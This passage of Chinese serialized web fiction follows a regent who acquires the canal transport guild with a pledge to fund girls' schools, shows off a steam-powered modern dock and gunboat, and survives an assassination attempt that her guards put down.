“北地马帮与皮货商会,联手出价一百三十万两,购两成股份!”另一个粗豪的声音紧接着响起,来自几个穿着翻毛皮袄、气息剽悍的北方大汉。北地马帮掌控关外至中原的陆路运输,皮货商会则垄断高档皮货贸易,两者结合,对运河这条黄金水道早已垂涎三尺。 “两浙盐茶商会,出一百四十万两,购两成!”这次报价的,是一个面容清癯、眼神锐利的中年文士模样的人。两浙盐茶,利润惊人,背后站着的,是东南沿海的盐商集团和部分朝中清流,能量不容小觑。 报价声此起彼伏,很快,四成股份的叫价就被推高到了二百八十万两!而且竞争主要集中在那几个背后有宗室、地方豪强或特殊利益集团支持的商会联盟之间。他们叫价越来越凶,语气也越来越激烈,互相之间已经开始有了火药味,眼神碰撞间火花四溅。 显然,他们不仅仅是在争夺漕帮的股份,更是在争夺未来对运河的影响力,以及向那位摄政王展示实力、争取合作甚至讨价还价的筹码。 柳随风的脸色越来越白,手指在袖中捏得发青。这些报价看似一个比一个高,但一旦让这些饿狼入股,漕帮必将被撕扯得四分五裂,彻底沦为各方利益博弈的棋盘和棋子,再无自主可能。父亲半生心血,帮众未来生计,都将毁于一旦。 谢凤卿和萧御依旧冷眼旁观,仿佛眼前这场关乎数百万两白银和运河命脉归属的竞价,只是一场与己无关的闹剧。萧御甚至微微侧头,对谢凤卿低声说了句什么,谢凤卿唇角似乎极轻微地弯了一下,随即恢复平静。 当叫价突破三百万两,朱半城面红耳赤地与那北方商会的代表几乎要吵起来时,谢凤卿终于有了动作。 她只是轻轻抬了抬手。 一个极其细微的动作,甚至没有发出任何声音。 但整个喧闹的大堂,却像被一只无形的手瞬间扼住了喉咙,所有声音戛然而止。所有人的目光,齐刷刷地聚焦在她身上,带着紧张、期待、恐惧、不甘……种种复杂的情绪。 “诸位,”谢凤卿开口,声音不大,却如珠玉落盘,清晰而冷静地传入每个人耳中,“竞价如此激烈,足见漕帮资产之丰饶,运河前景之广阔,亦见诸位合作之诚意。” 她顿了顿,目光平静地扫过朱半城等人,那目光明明不带丝毫情绪,却让他们感到一种无形的压力,仿佛内心那点算计都被看得清清楚楚。 “不过,”谢凤卿的语调依旧平稳,甚至带上了一丝极淡的、近乎玩味的意味,“巧得很,本王这里,也有一份报价。” 她微微侧头,目光转向身后侍立的一名女学基金管事。那管事约莫四十许年纪,穿着素雅的靛蓝襦裙,头发梳得一丝不苟,面容端肃,眼神清澈而坚定。她上前一步,先是对谢凤卿和萧御恭敬一礼,然后展开一份早已准备好的、盖着女学基金鲜红印鉴的文书,用清晰而稳定的声音,一字一句地念道: “奉摄政王殿下谕令,并受‘天下女学基金’理事会委托,本基金正式出价——” 她稍稍停顿,目光扫过堂下众人,每一个字都咬得极重: “白银三百万两,收购漕帮现有全部资产之——十成股份!” “轰——!” 仿佛一道惊雷在每个人脑海中炸响! 十成?!全部收购?! 三百万两?!刚才四成股份的竞价都快到三百万两了!她想用三百万两买下整个价值五六百万两的漕帮?这简直是赤裸裸的明抢!不,比明抢还要霸道!明抢还需要动手,她这是要逼着你自己把家产拱手送上! 短暂的死寂之后,是轰然爆发的哗然! “欺人太甚!” “十成?她想一口吞了漕帮?!” “三百万两?做梦!” “我等出价三百五十万两,也只购四成!殿下岂可如此?” 朱半城第一个跳了起来,脸涨成了猪肝色,再也顾不得什么礼仪尊卑,尖声叫道。其他几个商会的代表也纷纷拍案而起,怒目而视,群情激愤。就连一些原本中立的漕帮头目,脸上也露出了愤慨和不甘的神色。这已经不是收购,这是吞并!是掠夺! 面对几乎要掀翻屋顶的声浪,谢凤卿连眉毛都没动一下。萧御更是眼帘都未抬,只是端起茶盏,轻轻撇了撇浮沫。 “肃静!” 一声冷喝,如同冰水浇头。声音并不算太高,却蕴含着一股凌厉的内劲和久居上位的威严,瞬间压下了所有的嘈杂。 开口的是萧御。他放下茶盏,抬起眼帘,目光如冷电般扫过那几个叫嚣得最凶的商会代表。那目光并不凶狠,却带着一种居高临下的漠然,仿佛在看几只鼓噪的蝼蚁。接触到这目光的人,如同被冰雪兜头泼下,满腔的怒火瞬间被冻结,张着嘴,却再发不出一点声音。 第158章请殿下——接管漕帮 堂内重新安静下来,只剩下粗重的喘息声。 谢凤卿这才不紧不慢地继续开口,声音依旧平静,却带着一种不容置疑的力量: “本王的话,尚未说完。” 她迎着那些愤怒、惊疑、不甘、恐惧交织的目光,缓缓地、清晰地,说出了下一句话: “此外,‘天下女学基金’承诺,自正式接管漕帮全部资产及运营之日起,每年将所获净利润之百分之十,无偿、且永久性地,注入基金专项账户。” 她微微一顿,目光变得深远,仿佛穿透了这议事堂的屋顶,看到了更广阔的天地与众生: “此笔款项,将专项用于——在运河全线主要城镇,兴办官民合办之女子学堂;资助沿线贫寒家庭女子入学,免除其一切学杂费用,并提供必要之书籍、笔墨及膳食补助;以及,改善所有受雇于漕运相关产业之码头劳工、船工、纤夫等底层劳力家中女子与儿童之生计,包括但不限于提供基础医疗、设立育幼之所、开展女红纺织等技能培训,助其自食其力。” 话音落下,满堂死寂。 这一次的寂静,与刚才那种被武力威压的安静截然不同。这是一种被巨大的信息量、被完全出乎意料的承诺、被其中蕴含的某种颠覆性力量,冲击得头脑空白的寂静。 每年净利润的百分之十!永久注入!专款专用,惠及漕运沿线底层百姓,尤其是女子! 这……这是什么概念? 漕帮这些年,好的时候年利润能有百万两,差的时候也有数十万两。百分之十,就是每年至少数万两,多则十数万两白银!而且是年年不断,永无止境! 这比一次性付出更高的收购价,对在场的许多人来说,冲击力要巨大得多! 那些唯利是图的商人,可以砸出更高的价格,可以许诺暗地里的分红,可以给出种种优惠条件。但他们能拿出这样一份“光明正大、惠泽万民、尤其是惠及最底层女子”的承诺吗?不能!在摄政王和监国亲王面前,在“天下女学基金”这块如今已名动天下的金字招牌面前,任何单纯抬价的行为,都显得那么短视、龌龊、上不得台面! 而对于许多并非纯粹逐利、骨子里还残留着些许江湖义气、乡土情怀,或者本身也出身贫寒、对底层疾苦有所了解的漕帮头目来说,这份承诺的冲击力更是无以复加。漕帮的钱,取之于运河,用之于运河边的百姓,而且是惠及那些最苦最穷、最没有地位的女子和孩童!这不仅仅是钱的问题,这是一份“道义”,一份“担当”,一份足以写入漕帮历史(如果还有历史的话)的“善举”! 即便漕帮没了,即便他们这些人未来前途未卜,但想到自己曾经效力的这个组织,其财富将以这样一种方式持续回馈给养育了他们的运河和百姓,许多人心中那最后一点不甘和愤怒,竟奇异地开始松动,甚至生出了一丝……或许这样也不错? 柳随风猛地抬头,看向谢凤卿,又看向瘫坐在椅子上、似乎连呼吸都急促了几分的父亲。他忽然想起父亲病倒前几日,精神尚可时,曾拉着他的手,含混不清地反复念叨:“顺势……而为……或许……一线生机……保全……弟兄……”当时他不甚明了,如今,看着眼前这位容颜绝世、手段却如雷霆、胸怀却又似菩萨的摄政王,听着这石破天惊的“百分之十永注女学”的承诺,他忽然全明白了! 父亲早已看透,漕帮积重难返,在朝廷新政和这位摄政王的意志面前,顽抗只有死路一条。唯有“顺势而为”,主动投靠,或许还能为帮中数十万弟兄,谋一条生路,甚至是一条更好的出路!而这位摄政王,她要的或许不是简单的毁灭和掠夺,而是……改造?是让漕运以新的方式,继续为帝国服务,甚至……惠及更广? 朱半城等人的脸色,此刻已是惨白如纸。他们张了张嘴,想要说“我们也可以捐钱助学”,但话到嘴边,却怎么也说不出口。且不说他们舍不舍得每年拿出利润的百分之十做这种“傻事”,就算他们敢承诺,在摄政王亲口提出的、如此具体而宏大的计划面前,也显得苍白无力,更像是拙劣的模仿和急功近利的讨好。 “我们……我们江南粮绅联合会,可以出到三百五十万两!也可以……也可以每年捐出五万两,不,八万两!资助沿河百姓!”朱半城还不死心,嘶声喊道,但语气中的色厉内荏,谁都听得出来。 谢凤卿甚至没有看他,仿佛他只是一团空气。她的目光,越过了这些面色灰败的商人,投向了瘫坐在上首、努力睁大眼睛看向她的老帮主柳擎天,又缓缓扫过柳随风,以及堂下神色各异的漕帮众头目。 她的声音,平和而清晰,却带着一种无可置疑的、定鼎乾坤的力量: “柳老帮主一生辛劳,于南北漕运,功不可没。漕帮百年基业,维系帝国命脉,养活沿河百万生灵,亦有功劳。” 她先是肯定了漕帮的历史贡献,让许多原以为会被全盘否定的漕帮老人,心头微微一暖,眼眶有些发酸。 “然,”谢凤卿话锋一转,语气依旧平稳,却多了几分凛然,“时代剧变,洪流滚滚。墨守成规,固步自封,唯有被时代淘汰一途。运河之于国,犹如血脉之于人。血脉瘀塞,则国体衰颓;血脉畅通,则国运昌隆。” 她向前微微倾身,目光如炬: “本王此番前来,非为巧取豪夺,亦非为一己之私。实乃见漕运积弊已深,旧制难以为继,亟需破而后立,引入新法、新技术、新气象,方能重现运河生机,更好服务于国计民生。” 她的目光落在柳随风身上,带着一丝审视,也带着一丝期许: “本王愿以合理价格,全盘接手漕帮资产与运营。在此承诺:一,保全绝大多数漕帮现有弟兄之生计,择优录用,量才使用;二,引入新式船舶、码头机械、铁路联运,提升运力,改善劳作者境遇;三,每年以利润之一成,永续反哺沿河民生,尤其惠及女子孩童,此承诺,写入契约,公告天下,由女学基金及朝廷共同监督执行。” 她顿了顿,声音陡然转沉,带着一种不容违逆的决断: “何去何从,是守着旧船沉没,众人皆溺;还是弃旧图新,同舟共济,驶向更广阔的江海——请诸位,尤其是柳少主,慎思,决断。” 压力,如同泰山压顶,彻底给到了漕帮自己人这边。 所有的目光,都集中在了柳随风身上。这位年轻的少主,面色苍白如纸,身体微微颤抖,额头上渗出细密的汗珠。他知道,父亲的命运,自己的命运,漕帮数十万弟兄的命运,乃至未来运河的走向,此刻都系于他接下来的选择。 他转过身,面对无法言语、只能用浑浊眼睛死死盯着他的父亲,缓缓跪了下去,重重磕了三个响头。抬起头时,额头已是一片通红。 然后,他猛地站起,转身面向堂下神色复杂的众位长老、舵主、香主。他的目光扫过每一张熟悉或陌生的面孔,看到了愤怒,看到了不甘,看到了迷茫,也看到了隐隐的期待。 他深吸一口气,用尽全身力气,嘶声喊道,声音因为激动和决绝而有些变调: “诸位叔伯!各位兄弟!” “家父病重,随风无能!漕帮积弊,内外交困!此诚危急存亡之秋也!” “朝廷新政,如火如荼!摄政王殿下亲临,已是给了我等天大的体面与机会!殿下所言,收购之价,或许非市面最高,然其承诺保全我帮众兄弟生计,引入新法新技术强我漕运,更以每年利润一成永注女学,惠及我沿河父老子弟!此非唯利是图,此乃心怀天下之大义!此乃泽被苍生之仁政!” 他“唰”地一声抽出腰间佩剑,寒光一闪,剑尖指地,单膝跪地,面向谢凤卿和萧御的方向,声音带着破釜沉舟的决绝: “与其将祖宗基业,卖与唯利是图之商贾,任其分割蚕食,令数十万兄弟流离失所,令运河血脉落入私人之手;不如全盘托付于摄政王殿下!依托朝廷,革新自强!为我漕帮数十万弟兄,谋一条堂堂正正、利国利民之新生大道!为我运河命脉,开一个通达四海、造福万代之崭新格局!” “柳随风,不才!愿代表家父,代表漕帮总舵,接受摄政王殿下之报价与承诺!” “请殿下——接管漕帮!” 最后一句,他几乎是吼出来的,声音在大堂内回荡,震得梁柱上的灰尘都簌簌落下。 “少主!” “随风!你……你怎能如此!” 几位与宗室或地方豪强勾连较深、或本身就是其利益代言人的长老,惊怒交加,失声喊了出来,想要反对。 第159章技术,才是提升漕运生命力 但更多的分舵主、香主,在经历了最初的震惊、权衡、以及被柳随风这番声泪俱下的陈词和那“百分之十永注女学”的承诺冲击之后,心中的天平已然倾斜。 “杭州分舵,附议少主!”一个精悍的中年汉子率先站出来,他是柳擎天的嫡系,早已得到风声。 “扬州漕口,愿随少主,归附朝廷!”又一个声音响起。 “武昌水堂,相信少主决断!相信王爷承诺!” “九江分舵,附议!” “淮安……” 附议之声,开始只是零星响起,随即越来越多,如同滚雪球一般,最终汇聚成一片浪潮。那些原本犹豫、观望、甚至心怀异志的头目,在看到大势已去,再联想到摄政王过往的手段和如今如日中天的权势,以及那实实在在的“保全生计”和“惠及百姓”的承诺,也终于低下了头,选择了顺从。 朱半城等几个商会代表,面如死灰,浑身瘫软地坐回椅子上。他们知道,完了。宗室渗透、掌控漕运、以此制衡朝廷的最后一张经济底牌,在这位摄政王“收购+惠民”的组合拳面前,被碾得粉碎。他们不仅失去了入股漕运的机会,恐怕事后还要面临这位摄政王的清算。 大局,在辰时未尽、晨雾未散之际,已然底定。 漕帮,这个掌控帝国南北漕运半壁江山上百年的庞然大物,在这间议事堂内,完成了它平静却震撼人心的易主。 没有血流成河,没有激烈对抗。有的只是一场精心策划的“竞价”,一个无法拒绝的“承诺”,以及一位年轻少主在绝境中的“明智”抉择。 谢凤卿看着跪在堂下的柳随风,看着那些最终选择附议的漕帮头目,脸上终于露出了一丝极淡的、几乎看不见的笑意。她微微颔首: “柳少主深明大义,以帮众福祉、运河未来为重,本王甚慰。” 她侧头对身边的女学基金管事道:“既如此,便请柳少主与基金管事,即刻详定契约条款,务必清晰列明资产交割、人员安置、利润分配及女学专项基金设立等诸项事宜。契约拟定后,呈报于本王与萧御亲王。” 萧御此时也站起身,沉声道:“朝廷将即刻派遣专员,协同办理交接事宜。新的漕运管理章程及优惠税赋政策,不日将由户部与工部联合颁布,必为新的‘大运河物流总司’扫清障碍,保驾护航。” “大运河物流总司……”柳随风喃喃重复着这个新名字,眼中闪过一丝复杂,随即化为坚定。他再次叩首:“谢王爷!谢殿下!随风……必不负所托!” 新的名字,意味着新的开始,也意味着旧的漕帮,正式成为了历史。 午时,阳光终于勉强穿透了晨雾,洒在运河之上。 距离漕帮总舵约十里,一处原本偏僻的河湾,如今却焕然一新,戒备森严。这里,便是谢凤卿授意工部与皇家科学院联合设计、秘密建造数月,今日首次对外部分公开的——“铁龙码头”。 与漕帮总舵那种古朴、繁忙、充满了人间烟火与江湖气息的景象截然不同,铁龙码头呈现出一种冷硬、高效、充满未来感的崭新面貌。 整个码头以灰白色的水泥和巨大的花岗岩条石砌成,线条横平竖直,棱角分明,没有任何多余的装饰,透着一种简洁而强大的力量感。宽阔的栈桥并非木质,而是用厚重的钢板和铆钉结构拼接而成,坚固异常,笔直地伸入运河深处,足以停靠吃水极深的大型船舶。栈桥两侧,不是传统的木质缆桩,而是一个个钢铁铸成的、造型奇特的系缆墩和高达数丈的龙门吊架。吊架上装着巨大的滑轮组和粗实的钢索,在阳光下闪烁着冷冽的金属光泽。 码头后方,连接着一片开阔平整的货场。货场地面同样以水泥浇筑,坚硬平整。最引人注目的是,货场中央铺设着两条平行的、闪烁着暗沉金属光泽的轨道——钢轨!这正是“世界铁路”宏大计划中,用于连接港口与内陆仓储区的“支线铁路”试验段。几节平板货车静静地停在轨道上,车厢低矮,四壁可拆卸,显然是为了快速装卸货物而设计。 而此刻,停泊在码头最深处、最大泊位上的那个庞然大物,才是真正令人望而生畏的存在——火龙炮舰! 它庞大的暗红色铁甲舰身,在正午的阳光下反射着冰冷而坚硬的光芒,如同一条蛰伏的钢铁巨兽。舰体修长,线条流畅,与传统木质帆船的圆润笨拙截然不同。船舷两侧,整齐排列着一排排黑沉沉的炮口,虽然此刻炮口盖着防雨布,但那森然的威慑力依旧扑面而来。高高的舰桥上,瞭望塔、信号旗杆、以及那根巨大的烟囱(此时并未冒烟),勾勒出与传统船只迥异的轮廓。炮舰周围,有几艘体型较小、但同样线条流畅、造型奇特的蒸汽动力巡逻艇在缓缓逡巡。艇上的水手穿着统一的深蓝色制服,戴着硬檐帽,动作干练,纪律严明,与运河上常见的散漫船工形成鲜明对比。 这里的一切——水泥、钢铁、轨道、蒸汽船——都散发着与这个时代格格不入的、超越性的科技气息。对于刚刚从充满旧时代江湖气息的漕帮总舵过来的柳随风等人来说,视觉和心理上的冲击,是无与伦比的。 码头上临时搭建起了一座观礼台,以竹木为架,覆以青布,简洁实用。谢凤卿、萧御、柳随风及几位新归附的漕帮核心(主要是识时务且能力较强的长老和舵主)、女学基金的几位高级管事、以及少数几位被特别邀请前来“观礼”的江南本地有影响力、且对新政态度较为开明的士绅代表,此刻正站在观礼台上。 谢凤卿一身玄色劲装,外罩银狐裘披风,立于台前,正指着码头上那些新奇的事物,向众人阐述着铁龙码头的设计理念和未来规划。她的声音清越,在空旷的码头上传得很远。 “……传统码头装卸,依赖人力肩扛手提,效率低下,货损严重,且受天气制约极大。诸位请看,”她指向那高大的龙门吊,“此物名为‘蒸汽起重机’,以蒸汽机为动力,通过钢索滑轮,可轻松吊起数千斤乃至数万斤的货物,装卸效率,十倍于人工不止。且平稳安全,大幅减少货损。” 她又指向那两条钢轨和停着的平板货车:“此乃试验型‘铁路支线’。货物自海船或大型河船卸下,经起重机转运至货车,由小型蒸汽机车牵引,可迅速分送至城内各仓库、工坊,或通过正在修建的干线铁路,发往全国各地。反之,内陆货物亦可经铁路快速集运至此,装船发运。水陆联运,无缝衔接,将彻底改变货物周转模式。” 最后,她的目光投向那艘沉默的火龙炮舰,声音里带上了几分肃然:“工欲善其事,必先利其器。未来的漕运……或者说,未来的‘大运河物流总司’,不应只局限于内河。帝国疆域万里,海疆更是辽阔无垠。我们需要能航行于大江大海、抵御风浪、甚至具备一定自保能力的先进船舶。火龙炮舰,便是此中探索。它代表的,不仅是武力,更是开拓海洋、保障航路安全的能力与决心。” 她转过身,面对众人,目光扫过柳随风等人震撼中带着茫然、茫然中又透着兴奋的脸庞,声音提高了几分,带着一种令人心潮澎湃的感召力: “技术,才是提升漕运生命力、竞争力乃至生存权的关键!未来的‘大运河物流总司’,将不再是依靠人力纤夫、古老帆船和江湖规矩运转的旧式行帮,而应是一个融合先进船舶设计与制造、机械化码头运营、铁路与公路多式联运、标准化仓储管理、以及科学调度体系的现代化……嗯,现代化物流企业!” “现代化物流企业”,这个对于在场众人来说完全陌生的词汇,从她口中吐出,却带着一种不容置疑的、指向未来的力量。 “诸位以往所精通的,是看水识天气,是码头人情世故,是漕帮帮规与江湖道义。这些很重要,是根基。”谢凤卿话锋一转,“但未来,诸位更需要学习的是如何操作和维护这些机器,是如何管理和调度庞大的船队与车队,是如何核算成本与利润,是如何与不同地区、甚至不同国度的商人打交道,订立契约。是知识,是管理,是眼界!” 柳随风等人听得目眩神迷,心头剧震。他们仿佛看到了一扇全新的大门在眼前打开,门后是一个他们从未想象过的、高效、强大、井然有序的世界。在那个世界里,他们不再是江湖草莽,而是掌握着先进技术和庞大资源的“企业”管理者;漕运不再是苦力活和人情活,而是一门真正的、可以做大做强的“事业”。 震撼之余,一股强烈的希望与憧憬,开始在他们心中涌动。如果真能如此,他们和手下数十万弟兄的未来,将完全不同!他们或许真的能像摄政王说的那样,摆脱“漕帮”这个带着旧时代江湖气息、始终被官府提防、被文人鄙夷的标签,成为一个体面的、受人尊敬的、对国家有巨大贡献的……“企业”? 第160章便如这运河底的沉渣 然而,就在众人心神激荡,沉浸在对未来美好蓝图的想象中时,异变,毫无征兆地发生了! “咻——!” 一声尖锐的破空厉啸,陡然从码头外围的货堆方向传来! 那是警哨的声音! 几乎在哨音响起的同一刹那,观礼台周围护卫的风雪十八骑统领,那位面色冷峻如铁石的中年汉子,已然拔刀出鞘,厉声长喝:“有刺客!敌袭!保护王爷!保护殿下!” “铿铿锵锵!”一片刀剑出鞘的嗡鸣声瞬间响起。训练有素的风雪十八骑成员,瞬间收缩阵型,将观礼台牢牢护在中心,玄甲反射着冷光,横刀斜指前方,杀气凛然。 变故来得太快! 只见码头外围那些堆积如山的货箱、木桶之后,以及连接货场的排水沟渠中,甚至是从冰冷的运河水里,猛然窜出数十道黑影!他们如同蛰伏已久的毒蛇,动作迅捷得惊人,显然都是精通潜藏刺杀的好手。人人黑衣蒙面,手持刀剑匕首,甚至还有几人端着精巧的弩机! 他们的目标极其明确——观礼台中央的谢凤卿和萧御!同时,另有七八人如同鬼魅般,悍不畏死地朝着停泊火龙炮舰的泊位冲去,手中赫然拿着黑乎乎的陶罐和火折子,显然是准备了火油等纵火之物,意图制造混乱,甚至不惜代价破坏这艘威慑性的巨舰! “是‘水鬼堂’的人!还有‘金钱帮’的杀手!”柳随风一眼认出其中几人的身法路数和武器特征,惊怒交加,脸色瞬间变得煞白。他猛地抽出佩剑,挡在谢凤卿和萧御身前,嘶声喊道:“王爷小心!是宗室拳养的死士和江南本地的亡命徒!” 果然!宗室在江南经营多年,与漕帮内部有勾结,在江湖上也蓄养了一批见不得光的势力。漕帮易主,断了他们一条重要的财路和臂膀,这显然是狗急跳墙,发起的最后一次疯狂反扑!意图刺杀摄政王和亲王,制造混乱,破坏接管,甚至不惜毁掉火龙炮舰这等国之重器! “跳梁小丑,也敢拂逆?”面对疾扑而来的数道森寒刀光,以及数支激射而来的弩箭,谢凤卿连眉毛都没抬一下,只从鼻腔里发出一声极其轻微的冷哼。 她甚至没有拔剑,只是右手看似随意地、轻轻按在了腰间桃花剑的剑鞘之上。 “锵——!” 一声清越如龙吟的剑鸣,陡然响彻码头! 并非长剑出鞘,仅仅是剑身与剑鞘摩擦,自行弹出了一寸!但就是这一寸出鞘,一股沛然莫御的、凛冽如极地寒风的剑气,便以谢凤卿为中心,轰然爆发开来! 最先冲上观礼台的三名刺客,只觉得一股无形巨力迎面撞来,手中刀剑仿佛劈在了铜墙铁壁之上,不仅攻势瞬间瓦解,虎口更是被震得发麻,身形不由自主地一滞。 就在这电光石火般的迟滞瞬间,风雪十八骑动了! 他们如同早就演练过千百遍一般,配合默契得惊人。三人一组,呈品字形,刀光瞬间织成一片密不透风的死亡之网。没有花哨的招式,没有江湖比武的试探,只有最简洁、最直接、最致命的战场搏杀之术!劈、砍、撩、刺,每一刀都指向要害,每一式都蕴含着千锤百炼的杀意。 “噗嗤!”“啊!”“呃……” 血光迸溅!惨叫声戛然而止! 冲上观礼台的五六名刺客,如同扑向烈焰的飞蛾,在玄甲骑兵的刀网前,连一个呼吸都没能撑住,便已身首异处或重伤倒地!浓重的血腥味瞬间弥漫开来。 与此同时,码头各处,那些原本看似普通工人、水手、甚至是被邀请来观礼的士绅随从的人群中,突然也跃出了许多精悍的身影——那是早就混在人群中、埋伏在此的王府精锐护卫和萧御的亲兵暗卫!他们与突袭的刺客瞬间混战在一起,金铁交鸣声、喊杀声、怒吼声、惨叫声顿时响彻整个铁龙码头。 冲向火龙炮舰的那几名刺客最为棘手。他们显然水性极佳,身法滑溜,借助码头上的缆桩、货箱掩护,快速向炮舰靠近。其中两人甚至已经掏出了火折子,准备点燃火油罐。 然而,他们还未接近炮舰三十步内—— “砰!砰!砰!砰!” 一阵并不密集、但异常清脆响亮、迥异于弓弩破空声的爆鸣,陡然从炮舰方向传来! 只见炮舰侧舷靠近水线的几个不起眼的小窗忽然打开,露出里面黑黝黝的、碗口粗细的铁管管口——那是装备在炮舰上的、经过改良的燧发枪队! 硝烟弥漫! 冲在最前面的两名手持火油罐的刺客,仿佛被无形的重锤当胸击中,胸口瞬间爆开一团血花,惨叫着向后飞跌出去,手中的火油罐“啪嚓”摔碎在地上,火油流淌,却被他们自己倒下的身体压住,未能点燃。另外几名刺客也被这突如其来的远程精准打击打懵了,有人中弹倒地,有人慌忙寻找掩体。 蒸汽巡逻艇上的水手也反应迅速,几艘小艇开足马力,冒着黑烟,灵活地包抄过来,艇上的水手手持带钩挠的长杆和渔网,配合舰上的火枪,开始围捕这些“水鬼”。 战斗开始得突然,结束得更加迅速。 在绝对的人数优势(早有埋伏)、精良的装备、严阵以待的防御体系,以及风雪十八骑这等尖刀力量的碾压式打击下,这些宗室蓄养的死士和雇佣的江湖亡命徒发起的自杀式袭击,显得如此徒劳、可笑,甚至有些悲凉。 不过一盏茶多点的时间,码头上的厮杀声便渐渐停歇。数十名刺客,除少数几个被刻意打伤腿部生擒活捉,其余全部伏诛。鲜血染红了新铺的水泥地面,在正午的阳光下显得格外刺目。空气中弥漫着硝烟和血腥混合的古怪气味。 风雪十八骑统领提着一名重伤被擒、面色灰败的刺客头目(从其身上搜出的令牌确认了身份),大步走到观礼台下,单膝跪地,声音洪亮而冰冷:“禀王爷!来袭刺客共计五十三人,已诛杀四十九人,生擒四人。我方轻伤七人,无人阵亡。经初步审讯及信物辨认,确系以鲁王、楚王为首的宗室势力秘密拳养之‘水鬼堂’死士,勾结江南本地‘金钱帮’、‘排帮’等江湖败类所为。其目的,刺杀王爷与殿下,破坏码头及火龙炮舰,制造混乱,阻挠漕帮交接。” 谢凤卿的目光冷冽地扫过那片狼藉的战场,仿佛看到的不是刚刚结束的生死搏杀,而只是一场微不足道的闹剧。她挥了挥手,语气平淡无波:“将活口交给萧御亲王,严加审讯,务必挖出所有潜伏暗桩及幕后指使。尸体处理干净,血迹冲洗。今日之事,不得影响码头后续施工与运作。” “遵命!”统领沉声应道,起身指挥手下迅速清理现场。那些训练有素的军士和码头工人立刻行动起来,拖走尸体,冲洗血迹,效率高得惊人,仿佛刚才那场血腥刺杀从未发生过。 直到此时,观礼台上的柳随风及一众漕帮头目、士绅代表,才从极度的震惊和恐惧中缓缓回过神来。许多人后背已被冷汗湿透,腿肚子还在微微发抖。他们看着台下迅速被清理干净的战场,看着那些玄甲武士收刀入鞘、肃立如松的姿态,看着炮舰上重新关闭的射击窗和巡逻艇上游弋的水手,再看向台上那位连衣角都未曾凌乱、面色平静如初的玄衣女子,心中涌起的,是难以言喻的敬畏与……恐惧。 是的,恐惧。那是对绝对力量的恐惧,对算无遗策的恐惧,对杀伐果断的恐惧。 柳随风深吸几口气,强行压下狂跳的心脏和翻腾的胃液。他收起长剑,整理了一下略显凌乱的衣襟,走到谢凤卿面前,深深一揖,腰弯得极低,声音带着发自肺腑的颤栗与折服:“王爷神威,算无遗策!此等雷霆手段,随风……今日方得亲见!从前种种犹疑,实属愚昧无知!从此以后,江南漕运……不,大运河物流总司上下数十万弟兄,唯王爷马首是瞻!但有差遣,万死不辞!” 其他惊魂未定的头目和士绅也纷纷躬身附和,态度比之前在总舵议事堂时,不知恭顺敬畏了多少倍。亲眼目睹了这位摄政王谈笑间樯橹灰飞烟灭的狠辣果决,以及那深不可测的护卫力量和神秘强大的火器,谁还敢有半点异心? 谢凤卿微微抬手,示意众人不必多礼。她的目光再次投向那艘巍然不动的火龙炮舰和正在被迅速清理恢复的现代化码头,声音清晰而平稳地响起,仿佛刚才的刺杀只是一段无关紧要的插曲: “旧势力的反扑,便如这运河底的沉渣,风浪起时,总会泛起。然,螳臂当车,徒增笑耳。历史的车轮滚滚向前,顺之者昌,逆之者亡。” 她转过身,面对着众人,阳光洒在她身上,为她镀上一层淡淡的金边,玄衣墨发,容颜清冷,此刻却仿佛带着一种神祇般的威严与光辉: 第161章亲手缔造的财富神话 “漕帮今日易主,非是终结,而是新生。从今日起,这贯通南北的运河命脉之上,再无江湖帮派‘漕帮’,唯有隶属‘天下女学基金’旗下,服务于国计民生,致力于物流革新、惠泽万民的——大运河物流总司!” 她顿了顿,迎着众人敬畏中带着期盼的目光,朗声宣布: “本王,将亲任大运河物流总司名誉总督,总揽全局。萧御亲王,任监理亲王,协理监督。” “原漕帮少主柳随风,擢升为总司首任执行会办,负责总司一应日常运营管理事务!” “原漕帮五位长老及有功舵主、香主,经考察评议后,量才录用,分任各港口、船队、仓储、调度等部门主管!” “总司所有人员编制、薪酬待遇、晋升渠道,将参照朝廷新规及女学基金相关章程,另行拟定颁布,务必公正公平,人尽其才!” 这一连串的任命,既是收权——名誉总督和监理亲王确保了最高控制权在谢凤卿和萧御手中;也是安抚和用人——给了柳随风这个“带头归附”的少主实际管理权,给了原漕帮核心人物出路和希望;更是制度性的革新——打破了旧有的帮派世袭和论资排辈,引入了新的管理体系和考核标准。 柳随风激动得浑身颤抖,这次不是恐惧,而是巨大的惊喜和责任感。他再次跪倒,声音哽咽:“谢王爷天恩!谢殿下信任!随风……必竭尽驽钝,革新漕运,整顿事务,以报王爷知遇之恩!若有负所托,天人共戮!” 其他被点到名的长老和头目,也纷纷跪倒谢恩,心中五味杂陈,但更多的是一种劫后余生、并且似乎踏上了更光明道路的庆幸。 消息如同插上了翅膀,以惊人的速度从铁龙码头传回漕帮总舵,传遍运河沿岸的大小码头、酒肆、茶楼。 “听说了吗?摄政王在铁龙码头遇刺了!” “宗室派的死士!还有江湖上的亡命徒!好大的狗胆!” “结果如何?王爷没事吧?” “嘿!王爷那是何等人物?早有准备!身边那些黑甲骑兵,还有那火龙巨舰上的神枪手,三下五除二,就把那些刺客全收拾了!摄政王连根头发丝都没伤着!” “漕帮……哦不对,现在叫‘大运河物流总司’了!柳少主被封了会办,实权在握!其他长老也有官做!” “归了女学基金?每年真能拿一成利润办女学?” “千真万确!王爷亲口许诺,公告天下!” “乖乖!这才是真正为百姓做事的活菩萨啊!以前漕帮那些爷,除了收钱就是欺压咱们苦力!” “漕皇!这才是咱们运河上真正的皇者!漕皇万岁!” “对!漕皇万岁!” 不知从哪个码头、哪个船工的口中率先喊出,“漕皇”这个带着浓厚江湖草莽气息、却又充满了敬畏与拥戴的称呼,如同星星之火,迅速在得到消息的码头工人、船民、纤夫、以及那些已经开始受益于女学基金宣传的沿河百姓中蔓延开来。 宗室在江南、在漕运体系中最后的武装底牌和潜伏暗桩,在这场干净利落的反刺杀中,被彻底拔除、清洗。最后一滴反抗的血液,也在这铁与火的雷霆手段下,流尽了。 漕帮,这个盘踞运河百年的庞然大物,以这样一种出人意料却又在情理之中的方式,平稳且迅速地,完成了它的历史性易主。 申时初刻,日头西斜。 女学基金江南分会总部(临时设在原漕帮总舵附近一座新购置的五进大宅院内),此刻的气氛,与清晨漕帮总舵的压抑凝重、午时铁龙码头的惊心动魄截然不同,洋溢着一片压抑不住的、火热的兴奋与忙碌。 算盘珠子被拨动得噼啪作响,声音密集得如同盛夏的骤雨,几乎要连成一片。鹅毛笔尖划过纸面的沙沙声,砚台研磨的细微声响,以及压低了的、却充满激动的交谈声,交织在一起,汇成了一曲独特的“财富交响乐”。 